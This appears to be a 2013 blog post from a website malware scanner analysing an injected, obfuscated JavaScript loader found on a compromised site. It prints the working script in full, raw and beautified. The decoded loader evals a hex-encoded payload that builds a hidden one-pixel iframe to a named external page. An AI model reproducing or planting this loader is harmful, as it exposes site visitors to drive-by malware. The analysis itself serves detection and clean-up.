Saturday, April 20, 2013

Malicious hidden redirect to blacklisted website


JavaScript code injects hidden malicious iframe

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor. The malicious iframe downloads content from remote malicious website. This infected website hosts suspicious JavaScript code injected in files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Apr 18 12:46:28 2013
Infected website's files: 3
Website malware scan report link: http://goo.gl/cB67f


Website Malware Scanner detected malicious iframe injection
Website Malware Scanner sitescan report


Hidden malicious iframe injection
Malicious iframe injection detection



Threat dump:


[[<script type='text/javascript' language='javascript' >
                                                                                                                                                                                                                                                          p=parseInt;
ss=(123)?String.fromCharCode:0;
asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!71!68!6a!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!71!68!6a!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!74!65!61!6d!72!65!61!63!74!6@!76!65!2e!63!6f!6d!2f!77!70!2d!61!64!6d!6@!6e!2f!63!6c!6@!63!6b!65!72!2e!70!68!70!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!71!68!6a!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!71!68!6a!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");
try
{
document.body%26=0.1
}
catch(gdsgsdg)
{
zz=3;
dbshre=10;
if(dbshre)
{
vfvwe=0;
try
{
document;
}
catch(agdsg)
{
vfvwe=1;
}
if(!vfvwe)
{
e=eval;
}
s="";
if(zz)for(i=0;
i-486!=0;
i++)
{
if(window.document)s+=ss(p(asgq[i],16));
}
if(window.document)e(s);
}
}

 </script>]]


Malware entry


Malware entry details.

Beautified script


  1. = parseInt;
  2. ss = (123) ? String.fromCharCode : 0;
  3. asgq ="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!71!68!6a!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!71!68!6a!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!74!65!61!6d!72!65!61!63!74!6@!76!65!2e!63!6f!6d!2f!77!70!2d!61!64!6d!6@!6e!2f!63!6c!6@!63!6b!65!72!2e!70!68!70!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!71!68!6a!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!71!68!6a!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!71!68!6a!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!71!68!6a!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");
  4. try {
  5.     document.body % 26 = 0.1
  6. } catch (gdsgsdg) {
  7.     zz = 3;
  8.     dbshre = 10;
  9.     if (dbshre) {
  10.         vfvwe = 0;
  11.         try {
  12.             document;
  13.         } catch (agdsg) {
  14.             vfvwe = 1;
  15.         }
  16.         if (!vfvwe) {
  17.             e = eval;
  18.         }
  19.         s = "";
  20.         if (zz) for (= 0; i - 486 != 0; i++) {
  21.                 if (window.document) s += ss(p(asgq[i], 16));
  22.         }
  23.         if (window.document) e(s);
  24.     }
  25. }


Simplified version of JavaScript injection



  1. asgq = "28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20...".split("!");
  2.  s = "";
  3.  for (= 0; i - 486 != 0; i++) { s += String.fromCharCode(parseInt(asgq[i], 16)); }
  4.  eval(s);


Malicious payload


Decoded payload generates hidden iframe to http://www.teamreactive.com/wp-admin/clicker[.]php


Blacklisting status


The website is Suspicious on Google Safe Browsing.


Google Safe Browsing analysis



Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.